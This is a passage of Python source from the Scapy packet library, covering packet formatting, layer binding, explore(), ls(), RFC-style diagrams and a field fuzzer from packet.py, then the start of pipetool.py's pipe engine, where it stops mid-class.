cond[:k], cond[k + 1:] res = False if cond[0] == "!": res = True cond = cond[1:] if self.haslayer(cond): res = not res if not res: format_ = "" fmt = fmt[:i] + format_ + fmt[i + j + 2:] # Evaluate directives s = "" while "%" in fmt: i = fmt.index("%") s += fmt[:i] fmt = fmt[i + 1:] if fmt and fmt[0] in escape: s += escape[fmt[0]] fmt = fmt[1:] continue try: i = fmt.index("%") sfclsfld = fmt[:i] fclsfld = sfclsfld.split(",") if len(fclsfld) == 1: f = "s" clsfld = fclsfld[0] elif len(fclsfld) == 2: f, clsfld = fclsfld else: raise Scapy_Exception if "." in clsfld: cls, fld = clsfld.split(".") else: cls = self.__class__.__name__ fld = clsfld num = 1 if ":" in cls: cls, num = cls.split(":") num = int(num) fmt = fmt[i + 1:] except Exception: raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) # noqa: E501 else: if fld == "time": val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time - int(self.time)) * 1000000) # noqa: E501 elif cls == self.__class__.__name__ and hasattr(self, fld): if num > 1: val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f, cls, num - 1, fld), relax) # noqa: E501 f = "s" elif f[-1] == "r": # Raw field value val = getattr(self, fld) f = f[:-1] if not f: f = "s" else: val = getattr(self, fld) if fld in self.fieldtype: val = self.fieldtype[fld].i2repr(self, val) else: val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) f = "s" s += ("%" + f) % val s += fmt return s def mysummary(self): """DEV: can be overloaded to return a string that summarizes the layer. Only one mysummary() is used in a whole packet summary: the one of the upper layer, # noqa: E501 except if a mysummary() also returns (as a couple) a list of layers whose # noqa: E501 mysummary() must be called if they are present.""" return "" def _do_summary(self): found, s, needed = self.payload._do_summary() ret = "" if not found or self.__class__ in needed: ret = self.mysummary() if isinstance(ret, tuple): ret, n = ret needed += n if ret or needed: found = 1 if not ret: ret = self.__class__.__name__ if self.show_summary else "" if self.__class__ in conf.emph: impf = [] for f in self.fields_desc: if f in conf.emph: impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) # noqa: E501 ret = "%s [%s]" % (ret, " ".join(impf)) if ret and s: ret = "%s / %s" % (ret, s) else: ret = "%s%s" % (ret, s) return found, ret, needed def summary(self, intern=0): """Prints a one line summary of a packet.""" return self._do_summary()[1] def lastlayer(self, layer=None): """Returns the uppest layer of the packet""" return self.payload.lastlayer(self) def decode_payload_as(self, cls): """Reassembles the payload and decode it using another packet class""" s = raw(self.payload) self.payload = cls(s, _internal=1, _underlayer=self) pp = self while pp.underlayer is not None: pp = pp.underlayer self.payload.dissection_done(pp) def command(self): """ Returns a string representing the command you have to type to obtain the same packet """ f = [] for fn, fv in six.iteritems(self.fields): fld = self.get_field(fn) if isinstance(fv, (list, dict, set)) and len(fv) == 0: continue if isinstance(fv, Packet): fv = fv.command() elif fld.islist and fld.holds_packets and isinstance(fv, list): fv = "[%s]" % ",".join(map(Packet.command, fv)) elif isinstance(fld, FlagsField): fv = int(fv) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (self.__class__.__name__, ", ".join(f)) pc = self.payload.command() if pc: c += "/" + pc return c def convert_to(self, other_cls, **kwargs): """Converts this Packet to another type. This is not guaranteed to be a lossless process. By default, this only implements conversion to ``Raw``. :param other_cls: Reference to a Packet class to convert to. :type other_cls: Type[scapy.packet.Packet] :return: Converted form of the packet. :rtype: other_cls :raises TypeError: When conversion is not possible """ if not issubtype(other_cls, Packet): raise TypeError("{} must implement Packet".format(other_cls)) if other_cls is Raw: return Raw(raw(self)) if "_internal" not in kwargs: return other_cls.convert_packet(self, _internal=True, **kwargs) raise TypeError("Cannot convert {} to {}".format( type(self).__name__, other_cls.__name__)) @classmethod def convert_packet(cls, pkt, **kwargs): """Converts another packet to be this type. This is not guaranteed to be a lossless process. :param pkt: The packet to convert. :type pkt: scapy.packet.Packet :return: Converted form of the packet. :rtype: cls :raises TypeError: When conversion is not possible """ if not isinstance(pkt, Packet): raise TypeError("Can only convert Packets") if "_internal" not in kwargs: return pkt.convert_to(cls, _internal=True, **kwargs) raise TypeError("Cannot convert {} to {}".format( type(pkt).__name__, cls.__name__)) @classmethod def convert_packets(cls, pkts, **kwargs): """Converts many packets to this type. This is implemented as a generator. See ``Packet.convert_packet``. """ for pkt in pkts: yield cls.convert_packet(pkt, **kwargs) class NoPayload(Packet): def __new__(cls, *args, **kargs): singl = cls.__dict__.get("__singl__") if singl is None: cls.__singl__ = singl = Packet.__new__(cls) Packet.__init__(singl) return singl def __init__(self, *args, **kargs): pass def dissection_done(self, pkt): return def add_payload(self, payload): raise Scapy_Exception("Can't add payload to NoPayload instance") def remove_payload(self): pass def add_underlayer(self, underlayer): pass def remove_underlayer(self, other): pass def copy(self): return self def clear_cache(self): pass def __repr__(self): return "" def __str__(self): return "" def __bytes__(self): return b"" def __nonzero__(self): return False __bool__ = __nonzero__ def do_build(self): return b"" def build(self): return b"" def build_padding(self): return b"" def build_done(self, p): return p def build_ps(self, internal=0): return b"", [] def getfieldval(self, attr): raise AttributeError(attr) def getfield_and_val(self, attr): raise AttributeError(attr) def setfieldval(self, attr, val): raise AttributeError(attr) def delfieldval(self, attr): raise AttributeError(attr) def hide_defaults(self): pass def __iter__(self): return iter([]) def __eq__(self, other): if isinstance(other, NoPayload): return True return False def hashret(self): return b"" def answers(self, other): return isinstance(other, NoPayload) or isinstance(other, conf.padding_layer) # noqa: E501 def haslayer(self, cls, _subclass=None): return 0 def getlayer(self, cls, nb=1, _track=None, **flt): if _track is not None: _track.append(nb) return None def fragment(self, *args, **kargs): raise Scapy_Exception("cannot fragment this packet") def show(self, indent=3, lvl="", label_lvl=""): pass def sprintf(self, fmt, relax): if relax: return "??" else: raise Scapy_Exception("Format not found [%s]" % fmt) def _do_summary(self): return 0, "", [] def layers(self): return [] def lastlayer(self, layer): return layer def command(self): return "" def route(self): return (None, None, None) #################### # packet classes # #################### class Raw(Packet): name = "Raw" fields_desc = [StrField("load", "")] def __init__(self, _pkt=None, *args, **kwargs): if _pkt and not isinstance(_pkt, bytes): _pkt = bytes_encode(_pkt) super(Raw, self).__init__(_pkt, *args, **kwargs) def answers(self, other): return 1 def mysummary(self): cs = conf.raw_summary if cs: if callable(cs): return "Raw %s" % cs(self.load) else: return "Raw %r" % self.load return Packet.mysummary(self) @classmethod def convert_packet(cls, pkt, **kwargs): return Raw(raw(pkt)) class Padding(Raw): name = "Padding" def self_build(self): return b"" def build_padding(self): return (raw(self.load) if self.raw_packet_cache is None else self.raw_packet_cache) + self.payload.build_padding() conf.raw_layer = Raw conf.padding_layer = Padding if conf.default_l2 is None: conf.default_l2 = Raw ################# # Bind layers # ################# def bind_bottom_up(lower, upper, __fval=None, **fval): r"""Bind 2 layers for dissection. The upper layer will be chosen for dissection on top of the lower layer, if ALL the passed arguments are validated. If multiple calls are made with the same layers, the last one will be used as default. ex: >>> bind_bottom_up(Ether, SNAP, type=0x1234) >>> Ether(b'\xff\xff\xff\xff\xff\xff\xd0P\x99V\xdd\xf9\x124\x00\x00\x00\x00\x00') # noqa: E501 > # noqa: E501 """ if __fval is not None: fval.update(__fval) lower.payload_guess = lower.payload_guess[:] lower.payload_guess.append((fval, upper)) def bind_top_down(lower, upper, __fval=None, **fval): """Bind 2 layers for building. When the upper layer is added as a payload of the lower layer, all the arguments will be applied to them. ex: >>> bind_top_down(Ether, SNAP, type=0x1234) >>> Ether()/SNAP() > """ if __fval is not None: fval.update(__fval) upper._overload_fields = upper._overload_fields.copy() upper._overload_fields[lower] = fval @conf.commands.register def bind_layers(lower, upper, __fval=None, **fval): """Bind 2 layers on some specific fields' values. It makes the packet being built and dissected when the arguments are present. This function calls both bind_bottom_up and bind_top_down, with all passed arguments. Please have a look at their docs: - help(bind_bottom_up) - help(bind_top_down) """ if __fval is not None: fval.update(__fval) bind_top_down(lower, upper, **fval) bind_bottom_up(lower, upper, **fval) def split_bottom_up(lower, upper, __fval=None, **fval): """This call un-links an association that was made using bind_bottom_up. Have a look at help(bind_bottom_up) """ if __fval is not None: fval.update(__fval) def do_filter(params, cls): params_is_invalid = any( k not in params or params[k] != v for k, v in six.iteritems(fval) ) return cls != upper or params_is_invalid lower.payload_guess = [x for x in lower.payload_guess if do_filter(*x)] def split_top_down(lower, upper, __fval=None, **fval): """This call un-links an association that was made using bind_top_down. Have a look at help(bind_top_down) """ if __fval is not None: fval.update(__fval) if lower in upper._overload_fields: ofval = upper._overload_fields[lower] if any(k not in ofval or ofval[k] != v for k, v in six.iteritems(fval)): # noqa: E501 return upper._overload_fields = upper._overload_fields.copy() del(upper._overload_fields[lower]) @conf.commands.register def split_layers(lower, upper, __fval=None, **fval): """Split 2 layers previously bound. This call un-links calls bind_top_down and bind_bottom_up. It is the opposite of # noqa: E501 bind_layers. Please have a look at their docs: - help(split_bottom_up) - help(split_top_down) """ if __fval is not None: fval.update(__fval) split_bottom_up(lower, upper, **fval) split_top_down(lower, upper, **fval) @conf.commands.register def explore(layer=None): """Function used to discover the Scapy layers and protocols. It helps to see which packets exists in contrib or layer files. params: - layer: If specified, the function will explore the layer. If not, the GUI mode will be activated, to browse the available layers examples: >>> explore() # Launches the GUI >>> explore("dns") # Explore scapy.layers.dns >>> explore("http2") # Explore scapy.contrib.http2 >>> explore(scapy.layers.bluetooth4LE) Note: to search a packet by name, use ls("name") rather than explore. """ if layer is None: # GUI MODE if not conf.interactive: raise Scapy_Exception("explore() GUI-mode cannot be run in " "interactive mode. Please provide a " "'layer' parameter !") # 0 - Imports try: import prompt_toolkit except ImportError: raise ImportError("prompt_toolkit is not installed ! " "You may install IPython, which contains it, via" " `pip install ipython`") if not _version_checker(prompt_toolkit, (2, 0)): raise ImportError("prompt_toolkit >= 2.0.0 is required !") # Only available with prompt_toolkit > 2.0, not released on PyPi yet from prompt_toolkit.shortcuts.dialogs import radiolist_dialog, \ button_dialog from prompt_toolkit.formatted_text import HTML # Check for prompt_toolkit >= 3.0.0 if _version_checker(prompt_toolkit, (3, 0)): call_ptk = lambda x: x.run() else: call_ptk = lambda x: x # 1 - Ask for layer or contrib btn_diag = button_dialog( title=six.text_type("Scapy v%s" % conf.version), text=HTML( six.text_type( '' ) ), buttons=[ (six.text_type("Layers"), "layers"), (six.text_type("Contribs"), "contribs"), (six.text_type("Cancel"), "cancel") ]) action = call_ptk(btn_diag) # 2 - Retrieve list of Packets if action == "layers": # Get all loaded layers values = conf.layers.layers() # Restrict to layers-only (not contribs) + packet.py and asn1*.py values = [x for x in values if ("layers" in x[0] or "packet" in x[0] or "asn1" in x[0])] elif action == "contribs": # Get all existing contribs from scapy.main import list_contrib values = list_contrib(ret=True) values = [(x['name'], x['description']) for x in values] # Remove very specific modules values = [x for x in values if "can" not in x[0]] else: # Escape/Cancel was pressed return # Python 2 compat if six.PY2: values = [(six.text_type(x), six.text_type(y)) for x, y in values] # Build tree if action == "contribs": # A tree is a dictionary. Each layer contains a keyword # _l which contains the files in the layer, and a _name # argument which is its name. The other keys are the subfolders, # which are similar dictionaries tree = defaultdict(list) for name, desc in values: if "." in name: # Folder detected parts = name.split(".") subtree = tree for pa in parts[:-1]: if pa not in subtree: subtree[pa] = {} subtree = subtree[pa] # one layer deeper subtree["_name"] = pa if "_l" not in subtree: subtree["_l"] = [] subtree["_l"].append((parts[-1], desc)) else: tree["_l"].append((name, desc)) elif action == "layers": tree = {"_l": values} # 3 - Ask for the layer/contrib module to explore current = tree previous = [] while True: # Generate tests & form folders = list(current.keys()) _radio_values = [ ("$" + name, six.text_type('[+] ' + name.capitalize())) for name in folders if not name.startswith("_") ] + current.get("_l", []) cur_path = "" if previous: cur_path = ".".join( itertools.chain( (x["_name"] for x in previous[1:]), (current["_name"],) ) ) extra_text = ( '\n' ) % (action + ("." + cur_path if cur_path else "")) # Show popup rd_diag = radiolist_dialog( values=_radio_values, title=six.text_type( "Scapy v%s" % conf.version ), text=HTML( six.text_type(( '' ) + extra_text) ), cancel_text="Back" if previous else "Cancel" ) result = call_ptk(rd_diag) if result is None: # User pressed "Cancel/Back" if previous: # Back current = previous.pop() continue else: # Cancel return if result.startswith("$"): previous.append(current) current = current[result[1:]] else: # Enter on layer if previous: # In subfolder result = cur_path + "." + result break # 4 - (Contrib only): load contrib if action == "contribs": from scapy.main import load_contrib load_contrib(result) result = "scapy.contrib." + result else: # NON-GUI MODE # We handle layer as a short layer name, full layer name # or the module itself if isinstance(layer, types.ModuleType): layer = layer.__name__ if isinstance(layer, str): if layer.startswith("scapy.layers."): result = layer else: if layer.startswith("scapy.contrib."): layer = layer.replace("scapy.contrib.", "") from scapy.main import load_contrib load_contrib(layer) result_layer, result_contrib = (("scapy.layers.%s" % layer), ("scapy.contrib.%s" % layer)) if result_layer in conf.layers.ldict: result = result_layer elif result_contrib in conf.layers.ldict: result = result_contrib else: raise Scapy_Exception("Unknown scapy module '%s'" % layer) else: warning("Wrong usage ! Check out help(explore)") return # COMMON PART # Get the list of all Packets contained in that module try: all_layers = conf.layers.ldict[result] except KeyError: raise Scapy_Exception("Unknown scapy module '%s'" % layer) # Print print(conf.color_theme.layer_name("Packets contained in %s:" % result)) rtlst = [(lay.__name__ or "", lay._name or "") for lay in all_layers] print(pretty_list(rtlst, [("Class", "Name")], borders=True)) def _pkt_ls(obj, verbose=False): """Internal function used to resolve `fields_desc` to display it. :param obj: a packet object or class :returns: a list containing tuples [(name, clsname, clsname_extras, default, long_attrs)] """ is_pkt = isinstance(obj, Packet) if not issubtype(obj, Packet) and not is_pkt: raise ValueError fields = [] for f in obj.fields_desc: cur_fld = f attrs = [] long_attrs = [] while isinstance(cur_fld, (Emph, ConditionalField)): if isinstance(cur_fld, ConditionalField): attrs.append(cur_fld.__class__.__name__[:4]) cur_fld = cur_fld.fld if verbose and isinstance(cur_fld, EnumField) \ and hasattr(cur_fld, "i2s"): if len(cur_fld.i2s) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(six.iteritems(cur_fld.i2s)) ) elif isinstance(cur_fld, MultiEnumField): fld_depend = cur_fld.depends_on(obj.__class__ if is_pkt else obj) attrs.append("Depends on %s" % fld_depend.name) if verbose: cur_i2s = cur_fld.i2s_multi.get( cur_fld.depends_on(obj if is_pkt else obj()), {} ) if len(cur_i2s) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(six.iteritems(cur_i2s)) ) elif verbose and isinstance(cur_fld, FlagsField): names = cur_fld.names long_attrs.append(", ".join(names)) cls = cur_fld.__class__ class_name_extras = "(%s)" % ( ", ".join(attrs) ) if attrs else "" if isinstance(cur_fld, BitField): class_name_extras += " (%d bit%s)" % ( cur_fld.size, "s" if cur_fld.size > 1 else "" ) fields.append( (f.name, cls, class_name_extras, f.default, long_attrs) ) return fields @conf.commands.register def ls(obj=None, case_sensitive=False, verbose=False): """List available layers, or infos on a given layer class or name. :param obj: Packet / packet name to use :param case_sensitive: if obj is a string, is it case sensitive? :param verbose: """ is_string = isinstance(obj, six.string_types) if obj is None or is_string: tip = False if obj is None: tip = True all_layers = sorted(conf.layers, key=lambda x: x.__name__) else: pattern = re.compile(obj, 0 if case_sensitive else re.I) # We first order by accuracy, then length if case_sensitive: sorter = lambda x: (x.__name__.index(obj), len(x.__name__)) else: obj = obj.lower() sorter = lambda x: (x.__name__.lower().index(obj), len(x.__name__)) all_layers = sorted((layer for layer in conf.layers if (isinstance(layer.__name__, str) and pattern.search(layer.__name__)) or (isinstance(layer.name, str) and pattern.search(layer.name))), key=sorter) for layer in all_layers: print("%-10s : %s" % (layer.__name__, layer._name)) if tip and conf.interactive: print("\nTIP: You may use explore() to navigate through all " "layers using a clear GUI") else: try: fields = _pkt_ls(obj, verbose=verbose) is_pkt = isinstance(obj, Packet) # Print for fname, cls, clsne, dflt, long_attrs in fields: cls = cls.__name__ + " " + clsne print("%-10s : %-35s =" % (fname, cls), end=' ') if is_pkt: print("%-15r" % (getattr(obj, fname),), end=' ') print("(%r)" % (dflt,)) for attr in long_attrs: print("%-15s%s" % ("", attr)) # Restart for payload if any if is_pkt and not isinstance(obj.payload, NoPayload): print("--") ls(obj.payload) except ValueError: print("Not a packet class or name. Type 'ls()' to list packet classes.") # noqa: E501 @conf.commands.register def rfc(cls, ret=False, legend=True): """ Generate an RFC-like representation of a packet def. :param cls: the Packet class :param ret: return the result instead of printing (def. False) :param legend: show text under the diagram (default True) Ex:: >>> rfc(Ether) """ if not issubclass(cls, Packet): raise TypeError("Packet class expected") cur_len = 0 cur_line = [] lines = [] # Get the size (width) that a field will take # when formatted, from its length in bits clsize = lambda x: 2 * x - 1 ident = 0 # Fields UUID # Generate packet groups for f in cls.fields_desc: flen = int(f.sz * 8) cur_len += flen ident += 1 # Fancy field name fname = f.name.upper().replace("_", " ") # The field might exceed the current line or # take more than one line. Copy it as required while True: over = max(0, cur_len - 32) # Exceed len1 = clsize(flen - over) # What fits cur_line.append((fname[:len1], len1, ident)) if cur_len >= 32: # Current line is full. start a new line lines.append(cur_line) cur_len = flen = over fname = "" # do not repeat the field cur_line = [] if not over: # there is no data left break else: # End of the field break # Add the last line if un-finished if cur_line: lines.append(cur_line) # Calculate separations between lines seps = [] seps.append("+-" * 32 + "+\n") for i in range(len(lines) - 1): # Start with a full line sep = "+-" * 32 + "+\n" # Get the line above and below the current # separation above, below = lines[i], lines[i + 1] # The last field of above is shared with below if above[-1][2] == below[0][2]: # where the field in "above" starts pos_above = sum(x[1] for x in above[:-1]) # where the field in "below" ends pos_below = below[0][1] if pos_above < pos_below: # they are overlapping. # Now crop the space between those pos # and fill it with " " pos_above = pos_above + pos_above % 2 sep = ( sep[:1 + pos_above] + " " * (pos_below - pos_above) + sep[1 + pos_below:] ) # line is complete seps.append(sep) # Graph result = "" # Bytes markers result += " " + (" " * 19).join( str(x) for x in range(4) ) + "\n" # Bits markers result += " " + " ".join( str(x % 10) for x in range(32) ) + "\n" # Add fields and their separations for line, sep in zip(lines, seps): result += sep for elt, flen, _ in line: result += "|" + elt.center(flen, " ") result += "|\n" result += "+-" * (cur_len or 32) + "+\n" # Annotate with the figure name if legend: result += "\n" + ("Fig. " + cls.__name__).center(66, " ") # return if asked for, else print if ret: return result print(result) ############# # Fuzzing # ############# @conf.commands.register def fuzz(p, _inplace=0): """ Transform a layer into a fuzzy layer by replacing some default values by random objects. :param p: the Packet instance to fuzz :return: the fuzzed packet. """ if not _inplace: p = p.copy() q = p while not isinstance(q, NoPayload): new_default_fields = {} multiple_type_fields = [] for f in q.fields_desc: if isinstance(f, PacketListField): for r in getattr(q, f.name): fuzz(r, _inplace=1) elif isinstance(f, MultipleTypeField): # the type of the field will depend on others multiple_type_fields.append(f.name) elif f.default is not None: if not isinstance(f, ConditionalField) or f._evalcond(q): rnd = f.randval() if rnd is not None: new_default_fields[f.name] = rnd # Process packets with MultipleTypeFields if multiple_type_fields: # freeze the other random values new_default_fields = { key: (val._fix() if isinstance(val, VolatileValue) else val) for key, val in six.iteritems(new_default_fields) } q.default_fields.update(new_default_fields) # add the random values of the MultipleTypeFields for name in multiple_type_fields: rnd = q.get_field(name)._find_fld_pkt(q).randval() if rnd is not None: new_default_fields[name] = rnd q.default_fields.update(new_default_fields) q = q.payload return p scapy-2.4.4/scapy/pipetool.py000066400000000000000000000532261372370053500162010ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license from __future__ import print_function import os import subprocess import collections import time import scapy.modules.six as six from threading import Lock, Thread from scapy.automaton import Message, select_objects, SelectableObject from scapy.consts import WINDOWS from scapy.error import log_interactive, warning from scapy.config import conf from scapy.utils import get_temp_file, do_graph class PipeEngine(SelectableObject): pipes = {} @classmethod def list_pipes(cls): for pn, pc in sorted(cls.pipes.items()): doc = pc.__doc__ or "" if doc: doc = doc.splitlines()[0] print("%20s: %s" % (pn, doc)) @classmethod def list_pipes_detailed(cls): for pn, pc in sorted(cls.pipes.items()): if pc.__doc__: print("###### %s\n %s" % (pn, pc.__doc__)) else: print("###### %s" % pn) def __init__(self, *pipes): self.active_pipes = set() self.active_sources = set() self.active_drains = set() self.active_sinks = set() self._add_pipes(*pipes) self.thread_lock = Lock() self.command_lock = Lock() self.__fd_queue = collections.deque() self.__fdr, self.__fdw = os.pipe() self.thread = None SelectableObject.__init__(self) def __getattr__(self, attr): if attr.startswith("spawn_"): dname = attr[6:] if dname in self.pipes: def f(*args, **kargs): k = self.pipes[dname] p = k(*args, **kargs) self.add(p) return p return f raise AttributeError(attr) def check_recv(self): """As select.select is not available, we check if there is some data to read by using a list that stores pointers.""" return len(self.__fd_queue) > 0 def fileno(self): return self.__fdr def _read_cmd(self): os.read(self.__fdr, 1) return self.__fd_queue.popleft() def _write_cmd(self, _cmd): self.__fd_queue.append(_cmd) os.write(self.__fdw, b"X") self.call_release() def add_one_pipe(self, pipe): self.active_pipes.add(pipe) if isinstance(pipe, Source): self.active_sources.add(pipe) if isinstance(pipe, Drain): self.active_drains.add(pipe) if isinstance(pipe, Sink): self.active_sinks.add(pipe) def get_pipe_list(self, pipe): def flatten(p, li): li.add(p) for q in p.sources | p.sinks | p.high_sources | p.high_sinks: if q not in li: flatten(q, li) pl = set() flatten(pipe, pl) return pl def _add_pipes(self, *pipes): pl = set() for p in pipes: pl |= self.get_pipe_list(p) pl -= self.active_pipes for q in pl: self.add_one_pipe(q) return pl def run(self): log_interactive.info("Pipe engine thread started.") try: for p in self.active_pipes: p.start() sources = self.active_sources sources.add(self) exhausted = set([]) RUN = True STOP_IF_EXHAUSTED = False while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1): fds = select_objects(sources, 2) for fd in fds: if fd is self: cmd = self._read_cmd() if cmd == "X": RUN = False break elif cmd == "B": STOP_IF_EXHAUSTED = True elif cmd == "A": sources = self.active_sources - exhausted sources.add(self) else: warning("Unknown internal pipe engine command: %r. Ignoring." % cmd) # noqa: E501 elif fd in sources: try: fd.deliver() except Exception as e: log_interactive.exception("piping from %s failed: %s" % (fd.name, e)) # noqa: E501 else: if fd.exhausted(): exhausted.add(fd) sources.remove(fd) except KeyboardInterrupt: pass finally: try: for p in self.active_pipes: p.stop() finally: self.thread_lock.release() log_interactive.info("Pipe engine thread stopped.") def start(self): if self.thread_lock.acquire(0): _t = Thread(target=self.run) _t.setDaemon(True) _t.start() self.thread = _t else: warning("Pipe engine already running") def wait_and_stop(self): self.stop(_cmd="B") def stop(self, _cmd="X"): try: with self.command_lock: if self.thread is not None: self._write_cmd(_cmd) self.thread.join() try: self.thread_lock.release() except Exception: pass else: warning("Pipe engine thread not running") except KeyboardInterrupt: print("Interrupted by user.") def add(self, *pipes): pipes = self._add_pipes(*pipes) with self.command_lock: if self.thread is not None: for p in pipes: p.start() self._write_cmd("A") def graph(self, **kargs): g = ['digraph "pipe" {', "\tnode [shape=rectangle];", ] for p in self.active_pipes: g.append('\t"%i" [label="%s"];' % (id(p), p.name)) g.append("") g.append("\tedge [color=blue, arrowhead=vee];") for p in self.active_pipes: for q in p.sinks: g.append('\t"%i" -> "%i";' % (id(p), id(q))) g.append("") g.append("\tedge [color=purple, arrowhead=veevee];") for p in self.active_pipes: for q in p.high_sinks: g.append('\t"%i" -> "%i";' % (id(p), id(q))) g.append("") g.append("\tedge [color=red, arrowhead=diamond];") for p in self.active_pipes: for q in p.trigger_sinks: g.append('\t"%i" -> "%i";' % (id(p), id(q))) g.append('}') graph = "\n".join(g) do_graph(graph, **kargs) class _ConnectorLogic(object): def __init__(self): self.sources = set() self.sinks = set() self.high_sources = set() self.high_sinks = set() self.trigger_sources = set() self.trigger_sinks = set() def __lt__(self, other): other.sinks.add(self) self.sources.add(other) return other def __gt__(self, other): self.sinks.add(other) other.sources.add(self) return other def __eq__(self, other): self > other other > self return other def __lshift__(self, other): self.high_sources.add(other) other.high_sinks.add(self) return other def __rshift__(self, other): self.high_sinks.add(other) other.high_sources.add(self) return other def __floordiv__(self, other): self >> other other >> self return other def __xor__(self, other): self.trigger_sinks.add(other) other.trigger_sources.add(self) return other def __hash__(self): return object.__hash__(self) class _PipeMeta(type): def __new__(cls, name, bases, dct): c = type.__new__(cls, name, bases, dct) PipeEngine.pipes[name] = c return c class Pipe(six.with_metaclass(_PipeMeta, _ConnectorLogic)): def __init__(self, name=None): _ConnectorLogic.__init__(self) if name is None: name = "%s" % (self.__class__.__name__) self.name = name def _send(self, msg): for s in self.sinks: s.push(msg) def _high_send(self, msg): for s in self.high_sinks: s.high_push(msg) def _trigger(self, msg=None): for s in self.trigger_sinks: s.on_trigger(msg) def __repr__(self): ct = conf.color_theme s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name)) if self.sources or self.sinks: s += " %s" % ct.punct("[") if self.sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.sources), # noqa: E501 ct.field_value(">")) s += ct.layer_name("#") if self.sinks: s += "%s%s" % (ct.field_value(">"), ct.punct(",").join(ct.field_name(s.name) for s in self.sinks)) # noqa: E501 s += ct.punct("]") if self.high_sources or self.high_sinks: s += " %s" % ct.punct("[") if self.high_sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources), # noqa: E501 ct.field_value(">>")) s += ct.layer_name("#") if self.high_sinks: s += "%s%s" % (ct.field_value(">>"), ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks)) # noqa: E501 s += ct.punct("]") if self.trigger_sources or self.trigger_sinks: s += " %s" % ct.punct("[") if self.trigger_sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sources), # noqa: E501 ct.field_value("^")) s += ct.layer_name("#") if self.trigger_sinks: s += "%s%s" % (ct.field_value("^"), ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sinks)) # noqa: E501 s += ct.punct("]") s += ct.punct(">") return s class Source(Pipe, SelectableObject): def __init__(self, name=None): Pipe.__init__(self, name=name) SelectableObject.__init__(self) self.is_exhausted = False def _read_message(self): return Message() def deliver(self): msg = self._read_message self._send(msg) def fileno(self): return None def check_recv(self): return False def exhausted(self): return self.is_exhausted def start(self): pass def stop(self): pass class Drain(Pipe): """Repeat messages from low/high entries to (resp.) low/high exits .. code:: +-------+ >>-|-------|->> | | >-|-------|-> +-------+ """ def push(self, msg): self._send(msg) def high_push(self, msg): self._high_send(msg) def start(self): pass def stop(self): pass class Sink(Pipe): """ Does nothing; interface to extend for custom sinks. All sinks have the following constructor parameters: :param name: a human-readable name for the element :type name: str """ def push(self, msg): """ Called by :py:class:`PipeEngine` when there is a new message for the low entry. :param msg: The message data :returns: None :rtype: None """ pass def high_push(self, msg): """ Called by :py:class:`PipeEngine` when there is a new message for the high entry. :param msg: The message data :returns: None :rtype: None """ pass def start(self): pass def stop(self): pass class AutoSource(Source, SelectableObject): def __init__(self, name=None): SelectableObject.__init__(self) Source.__init__(self, name=name) self.__fdr, self.__fdw = os.pipe() self._queue = collections.deque() def fileno(self): return self.__fdr def check_recv(self): return len(self._queue) > 0 def _gen_data(self, msg): self._queue.append((msg, False)) self._wake_up() def _gen_high_data(self, msg): self._queue.append((msg, True)) self._wake_up() def _wake_up(self): os.write(self.__fdw, b"X") self.call_release() def deliver(self): os.read(self.__fdr, 1) try: msg, high = self._queue.popleft() except IndexError: # empty queue. Exhausted source pass else: if high: self._high_send(msg) else: self._send(msg) class ThreadGenSource(AutoSource): def __init__(self, name=None): AutoSource.__init__(self, name=name) self.RUN = False def generate(self): pass def start(self): self.RUN = True Thread(target=self.generate).start() def stop(self): self.RUN = False class ConsoleSink(Sink): """Print messages on low and high entries to ``stdout`` .. code:: +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def push(self, msg): print(">" + repr(msg)) def high_push(self, msg): print(">>" + repr(msg)) class RawConsoleSink(Sink): """Print messages on low and high entries, using os.write .. code:: +-------+ >>-|--. |->> | write | >-|--' |-> +-------+ :param newlines: Include a new-line character after printing each packet. Defaults to True. :type newlines: bool """ def __init__(self, name=None, newlines=True): Sink.__init__(self, name=name) self.newlines = newlines self._write_pipe = 1 def push(self, msg): if self.newlines: msg += "\n" os.write(self._write_pipe, msg.encode("utf8")) def high_push(self, msg): if self.newlines: msg += "\n" os.write(self._write_pipe, msg.encode("utf8")) class CLIFeeder(AutoSource): """Send messages from python command line: .. code:: +--------+ >>-| |->> | send() | >-| `----|-> +--------+ """ def send(self, msg): self._gen_data(msg) def close(self): self.is_exhausted = True class CLIHighFeeder(CLIFeeder): """Send messages from python command line to high output: .. code:: +--------+ >>-| .----|->> | send() | >-| |-> +--------+ """ def send(self, msg): self._gen_high_data(msg) class PeriodicSource(ThreadGenSource): """Generage messages periodically on low exit: .. code:: +-------+ >>-| |->> | msg,T | >-| `----|-> +-------+ """ def __init__(self, msg, period, period2=0, name=None): ThreadGenSource.__init__(self, name=name) if not isinstance(msg, (list, set, tuple)): msg = [msg] self.msg = msg self.period = period self.period2 = period2 def generate(self): while self.RUN: empty_gen = True for m in self.msg: empty_gen = False self._gen_data(m) time.sleep(self.period) if empty_gen: self.is_exhausted = True self._wake_up() time.sleep(self.period2) class TermSink(Sink): """ Prints messages on the low and high entries, on a separate terminal (xterm or cmd). .. code:: +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ :param keepterm: Leave the terminal window open after :py:meth:`~Pipe.stop` is called. Defaults to True. :type keepterm: bool :param newlines: Include a new-line character after printing each packet. Defaults to True. :type newlines: bool :param openearly: Automatically starts the terminal when the constructor is called, rather than waiting for :py:meth:`~Pipe.start`. Defaults to True. :type openearly: bool """ def __init__(self, name=None, keepterm=True, newlines=True, openearly=True): Sink.__init__(self, name=name) self.keepterm = keepterm self.newlines = 